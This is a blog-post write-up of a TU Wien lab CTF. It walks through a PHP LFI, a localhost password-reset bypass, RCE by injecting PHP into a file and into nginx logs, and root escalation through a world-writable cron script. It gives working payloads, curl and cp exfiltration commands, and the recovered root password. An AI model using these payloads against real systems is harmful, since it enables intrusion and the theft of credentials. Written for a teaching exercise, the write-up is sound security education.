mysite/static/sources/posts/g00_tuw_measurement_ctf.md

16 KiB
Raw Blame History

title date draft tags categories toc summary
A TU Wien CTF where Sysops Klaus left the keys in the cron job 2026-06-05T12:00:00Z false
ctf
tuwien
lfi
web
linux
nginx
php
privesc
CTF
Security
true LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.

This post documents how I solved a CTF box that came out of Tobias Fiebig's Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

Each student group gets their own host (g00, g01, …). The goal is simple on paper:

  1. Collect every passwd_part file sitting in user home directories.
  2. Stitch them together into the root password (the full answer lives in /root/passwd).

Simple. Boring. Except Klaus was clearly in charge of this VM.


0) The lay of the land

Target: g00.tuw.measurement.network

From the outside you mostly see three faces of the same machine:

Host What it is
g00.tuw.measurement.network Main vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
web.g00.tuw.measurement.network PHP "meme gallery" with a very trusting ?page= parameter
pwreset.g00.tuw.measurement.network Internal password-reset app — not reachable directly from the internet

Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

SSH from outside? Public key only. Password auth is a lie (for us, anyway).


1) Recon — documentation.md saves the day

First stop: the main site.

curl -s https://g00.tuw.measurement.network/documentation.md

That file is basically a treasure map. It mentions two services:

  • webweb.g00.tuw.measurement.network
  • pwresetpwreset.g00.tuw.measurement.network

I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

Subdomains resolve. Good. Let's go web.


2) LFI — include($_GET['page']) classic

The web vhost is a frameset. Content loads in a frame via ?page=:

curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'

And there it is — root, users, the whole /etc/passwd parade inside the frame.

Source via PHP filter works too:

curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
  | sed -n 's/.*frame name="in">//p' | base64 -d

index.php is roughly:

<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>

Klaus, my man. We love you.

First instinct: read all the passwd_part files immediately.

# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied

Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.


3) pwreset — localhost-only, but LFI doesn't care about nginx

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

allow 127.0.0.1;
deny all;

So you can't hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that's a local file include, not an HTTP request.

pwreset source (paraphrased):

$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";

It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

Trigger it through LFI:

https://web.g00.tuw.measurement.network/
  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
  &user=user1
  &pass=MyTestPass1!

I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.


4) RCE — PHP in userchange, included like a boss

At some point I wondered: what if the thing that processes userchange doesn't only run chpasswd? What if it includes the file as PHP?

So I wrote a tiny shell into the user field via pwreset:

<?=`id`?>

Then included /var/www/userchange through the LFI:

?page=/var/www/userchange

Output: uid=33(www-data) gid=33(www-data) ...

Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

From here on, my mental model was:

  1. pwreset → write arbitrary-ish content to /var/www/userchange
  2. LFI include userchange → execute PHP as www-data

That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.


5) Rabbit holes (aka "everything I tried before it worked")

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

nginx log poisoning

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

data://, php://input, expect://

?page=data://text/plain,<?php system($_GET[cmd]); ?>
?page=php://input   # with POST body
?page=expect://id

Nope. allow_url_include = Off. Klaus isn't that careless.

vim .swp files

.memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

Munin / apt_all plugin

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

  • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn't exist
  • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
  • Waited for cron cycles hoping a custom plugin would curl localhost pwreset

Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

pwreset log archaeology

Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

  • Saw historical resets like user3foobar23
  • Tried foobar23 over SSH for every user

From outside: still Permission denied (publickey). Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.

Shell script injection into userchange

I tried newline injection to turn userchange into a bash script:

user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...

Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

Brute-forcing the userchange consumer

I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

Eventually didn't need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)

Direct SSH password guessing

Tried setting root's password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

From the internet: publickey only. The reset machinery may still work internally, but I couldn't log in with passwords from outside.


6) Privesc — world-writable cron script (peak Klaus)

With RCE as www-data, I looked for writable files:

find / -writable -type f 2>/dev/null | head

Jackpot:

-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh

Original script (innocent):

#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config

It's run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef's kiss.

I appended:

cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*

Then either waited for cron or executed the script manually via RCE:

<?=`/usr/local/bin/cron_update_hostname_file.sh`?>

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.


7) SSH as www-data — because keys in the webroot are a mood

The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
  www-data@g00.tuw.measurement.network

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.


8) The password parts

Source File Part
user1 p1 DcC6Da0A27384fA
user2 p2 9Ce05B3cAd57824
user3 p3 3aD80fa1b7AE986
user4 p4 CDefabffab1FCCf
www-data passwd_part 44D885d6DAb8Bb9
root rootpass ghadnuthduxeec7

Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

Combined root password (95 characters):

DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7

Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

Root SSH with that password from outside still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.


9) Attack chain (one screen)

documentation.md
    → web vhost LFI (include $_GET['page'])
        → include pwreset index.php (localhost bypass)
            → write PHP to /var/www/userchange
                → LFI include userchange
                    → RCE as www-data
                        → append to world-writable cron_update_hostname_file.sh
                            → cron runs as root → copies passwd parts to webroot
                                → read parts / SSH as www-data
                                    → profit

Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.


10) Replay script

I left a minimal Python replay in the challenge repo:

python3 solve.py

Core logic:

def pwreset(user, passwd=""):
    # LFI-include pwreset index.php with user/pass params

def rce(cmd):
    pwreset(f"<?=`{cmd}`?>", "")
    return lfi_include("/var/www/userchange")

It prints id, the modified cron script, each part file, and the combined password.


11) Bonus: the intended log poisoning path

After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

So here's the path you're supposed to take for RCE, and how I accidentally took the scenic bypass.

The hint is in index.php, not documentation.md

documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

<!-- remember for debugging:
    /var/log/nginx/$vhost.access.log
    /var/log/nginx/$vhost.error.log
    /var/log/nginx/ssl-$vhost.access.log
    /var/log/nginx/ssl-$vhost.error.log
-->

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn't say "don't use SSL" — but the intended trick is to use the non-ssl access log.

Intended technique

  1. Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

    /var/log/nginx/web.g00.tuw.measurement.network.access.log
    
  2. Put PHP in the User-Agent (or another logged field):

    <?php passthru($_GET['cmd']); ?>
    

    Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

  3. Include that log through the same LFI bug:

    https://web.g00.tuw.measurement.network/
      ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      &cmd=id
    

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That's RCE. No pwreset required.

How I griefed myself

What I did Why it hurt
Defaulted to https:// everywhere Poison landed in ssl-web...access.log670 KB+ and growing
Included the ssl log via LFI Output truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloads Left broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
Didn't read index.php source early Missed the debug comment until I'd already polluted both logs

Tobias's take: that's a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

If you're solving it now

  • Read index.php source first.
  • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
  • Include the non-ssl access log path from the comment.
  • Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.


12) TL;DR

  • Read documentation.md — it tells you where the services live.
  • Read index.php source — the debug comment gives you the log paths.
  • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
  • What I did = pwreset → userchange → cron (also works, not the intended first step).
  • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
  • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
  • Flag = concatenate all passwd_part slices + /root/passwd suffix.

If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.

Happy hacking. 🔓


Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.


{{< sigdl >}}